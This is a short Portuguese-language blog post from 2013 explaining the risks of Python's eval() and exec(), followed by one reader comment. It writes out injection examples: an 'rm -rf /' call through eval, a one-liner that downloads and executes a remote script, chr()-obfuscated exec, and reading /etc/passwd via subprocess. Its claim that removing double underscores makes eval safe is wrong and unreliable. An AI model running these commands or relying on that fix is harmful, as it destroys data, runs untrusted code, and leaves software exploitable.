17 de set. de 2013

Python - eval() ou evil()?

    A linguagem python possui várias funções para interagir com o interpretador, uma delas é a eval(), que avalia uma string como uma expressão python:
>>> assert eval("3*3 + len('zeldani')") == 16
>>> marmotas = 7
>>> eval("pow(marmotas,3)")
343

    Podemos executar os mais remotos comandos através do __import__ do módulo __builtins__:
>>> eval("__import__('os').system('clear')", {})
>>> eval("__import__('os').getcwd()", {})
'/home/zeldani'

>>> eval('eval(compile("import os;os.system(\\"ls\\")","q","exec"))')


    Temos também a instrução exec(), que executa códigos python:
>>> x=3
>>> exec("x+5")
>>> print(x)
3
>>> code = compile('a = 3 + 2', '<string>', 'exec')
>>> exec code
>>> print a
5

    Mas executar códigos arbitrários pelo terminal pode ser perigoso, pois dependendo do código, podemos ter danos irreversíveis:
>>> eval("__import__('os').system('rm -rf /')", {}) # não execute esse código!!! ;P

     Que pode ser executado remotamente:
>>> import urllib2 ; exec compile(urllib2.urlopen('http://www.qualquersite.com/script.py').read(), '<string>', 'exec')

    obsfucado:

>>>exec(chr(120)+chr(32)+chr(61)+chr(32)+chr(48)+chr(10)+chr(105)+chr(102)+chr(32)+chr(120)+chr(32)+
chr(61)+chr(61)+chr(32)+chr(48)+chr(58)+chr(10)+chr(32)+chr(32)+chr(32)+chr(32)+chr(112)+chr(114)+
chr(105)+chr(110)+chr(116)+chr(40)+chr(34)+chr(90)+chr(101)+chr(108)+chr(100)+chr(97)+chr(110)+
chr(105)+chr(34)+chr(41)+chr(10))
Zeldani

    Outro módulo interessante é o subprocess, que permite executar outros processos, substituindo funções como: os.system(), os.spawn*(), os.popen*(), popen2.*() e commands.*(). Ele usa os argumentos da classe Popen para fazer novos processos via Pipe:
>>> subprocess.Popen('cat /etc/passwd', shell=True)
>>> subprocess.Popen('echo $PWD', shell=True)
<subprocess.Popen object at 0x278c850>
>>> /home/zeldani/
>>> subprocess.Popen('rm blaaa', shell=True)

    Para usar função eval() seguramente, podemos remover todos os "__" underscores duplos da string usando o replace:
string = "__eu__ sou uma string com undescore duplo."
string = string.replace("__", "")
eval("string")

 O módulo ast também pode ser útil, principalmente a função ast.literal_eval().


* Fontes:
http://vipulchaskar.blogspot.com.br/2012/10/exploiting-eval-function-in-python.html

http://blog.ikotler.org/2012/05/linuxx86-execve-python-interpreter-with.html
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
http://www.sensepost.com/blog/5167.html
http://pymotw.com/2/subprocess/
http://lucumr.pocoo.org/2011/2/1/exec-in-python/
http://www.daniweb.com/software-development/python/threads/271989/obfuscation-tutorial

1 comentários:

Marcus Maia disse...

Ajudou bastante!! Abraços

Postar um comentário